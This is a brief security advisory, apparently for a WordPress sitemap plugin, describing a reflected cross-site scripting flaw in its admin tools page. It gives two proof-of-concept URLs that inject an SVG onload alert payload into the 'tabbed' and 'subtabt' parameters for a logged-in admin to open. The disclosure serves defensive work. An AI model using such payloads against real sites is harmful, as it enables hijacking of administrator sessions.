The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Make a logged-in admin open:
https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=<svg/onload=alert(/XSS/)>
https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=exclusion&subtabt=<svg/onload=alert(/XSS/)>